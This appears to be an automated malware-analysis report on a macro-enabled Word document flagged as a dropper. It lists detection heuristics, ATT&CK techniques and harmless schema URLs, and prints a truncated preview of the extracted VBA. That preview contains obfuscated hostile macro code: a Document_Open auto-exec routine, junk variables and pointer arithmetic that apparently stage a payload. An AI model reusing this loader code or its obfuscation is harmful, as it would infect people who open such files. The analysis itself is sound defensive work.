MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is a malicious OOXML document containing a VBA project with a Document_Open macro. This macro is configured to execute a secondary payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firing with 'exec=Shell'. The ClamAV detection name 'Doc.Dropper.Agent-7014523-0' further supports its role as a dropper. The specific payload or download URL is not directly extractable from the provided VBA code, leading to an unknown family classification.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-7014523-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7014523-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6719 bytes |
SHA-256: 151424c1378bbf936572130c79ea1b574d43ac16bc5d42490a560fd738bab0d2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ControlWord()
Dim objWord As New Word.Application
Dim rsContacts As New ADODB.Recordset
Dim strLtrContent As String
rsContacts.ActiveConnection = CurrentProject.Connection
rsContacts.Open "tblContacts"
objWord.Documents.Add
Do While Not rsContacts.EOF
strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
strLtrContent = strLtrContent & " " & rsContacts("PostalCode")
strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
strLtrContent = strLtrContent & rsContacts("LastName") & ":"
objWord.Selection.EndOf
objWord.Selection.Text = strLtrContent
objWord.Selection.EndOf
objWord.Selection.InsertBreak
rsContacts.MoveNext
Loop
objWord.Visible = True
objWord.PrintPreview = True
End Sub
Function lugger(horsewoman, brydges, aristides)
#If Win64 Then
Dim auxilia As Variant
Dim anathematize As Integer
Dim schoolmate As LongPtr
Dim agathis As LongPtr
Dim dowdiness As LongPtr
Dim sauciness As String
Dim millwright As LongPtr
Dim rifled As LongPtr
#Else
Dim agathis As Long
Dim alto As Byte
Dim schoolmate As Long
Dim carboy As Byte
Dim millwright As Long
Dim deperdition As Variant
Dim dowdiness As Long
Dim goodness As Variant
Dim rifled As Long
Dim aeronautical As String
Dim limbic As Variant
#End If
diamond = diamond
methanol = "maximizing"
agathis = horsewoman
rifled = aristides
bazeingr = VBA.Math.Round(455.7117 + 88)
millwright = brydges
euglenophyta = 46
aphonous = 17050
lamba = 427088
indiaman = SLN(lamba, aphonous, euglenophyta)
bazeingr = Rnd(270.6004 + 118)
schoolmate = 63 + 39 + 41 - 144
acronymic ByVal schoolmate, agathis, millwright, rifled, dowdiness
bazeingr = bazeingr \ 187
End Function
Private Sub Document_Open()
Dim microscopically As String
Dim longing As String
tamandua = "attainable"
barrels = "choppy"
intercommunity
cheremis = 44
aeroscope = 34761
pinguecula = 226617
huddle = SLN(pinguecula, aeroscope, cheremis)
End Sub
attractability = albania.Name
scolytus = 5844
colorist = Right(attractability, scolytus)
hone = despritepigram.ornamentation(colorist)
charley = 31
unanswered = 23719
cymbid = 186242
impersonal = SLN(cymbid, unanswered, charley)
gaterum = "similar"
masdevallia = "ladino"
#If Win64 Then
Dim christianity As Variant
Dim eyedness As LongPtr
Dim breechesmaker As LongPtr
Dim fivehitter As Variant
#Else
Dim masterdom As String
Dim breechesmaker As Long
Dim aythya As String
Dim eyedness As Long
#End If
bootlegging = 44 - 44
actinomorphic = "assumiing"
bruchus = "hi" & "ghfl" & "own"
formosan = 4096
trilobate = 94
fearing = 31220
propylaeum = 282632
fearing = Pmt(0.0721, trilobate, -31870, propylaeum, 0)
hymenophyllaceae = "mortify"
babysitter = "cr" & "aggy"
pearliness = "davy"
allegorical = 34
drifting = 38056
lunular = 321649
ropedancing = SLN(lunular, drifting, allegorical)
bodacious = hone
attract = "fluoroboride"
hokkaido = "offsite"
eyedness = dissocial(bodacious)
biogenetic = "ad" & "vances"
phoenicophorium = "nether"
#If Win64 Then
Dim down As Integer
Dim dabchick As LongPtr
colloquially = "transpose"
aborticide = "fl" & "apdoodle"
Dim boreal As LongPtr
taken = 116 - 24 - 36 + 1256
#ElseIf Win32 Then
inquirendum = "chorizon"
copperbottomed = "hominidae"
Dim dabchick As Long
abbe = 128 + 367
Dim boreal As Long
taken = abbe + 2659
#End If
Dim nervous As Variant
Dim antirrhinum As Long
dabchick = 0
breechesmaker = eyedness + taken
boreal = 1
overmaster
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 30208 bytes |
SHA-256: a65c1fba203323db6ab65e928c6f3102cfe7c7e0ccadf6f38b4ce088f75ace31 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.